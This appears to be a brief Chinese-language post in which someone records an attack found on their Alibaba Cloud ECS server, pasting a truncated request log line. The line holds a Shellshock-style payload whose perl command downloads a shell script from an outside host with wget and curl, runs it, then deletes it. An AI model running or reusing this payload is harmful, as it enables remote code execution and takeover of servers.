今天发现阿里云ECS被攻击了,记录一下,
/1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget https://lbinvestment.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt https://lbinvestment.com/shell.txt;perl /tmp/shell.txt ; rm -rf shell.txt .);' /1.1 Match1:{ :;};/u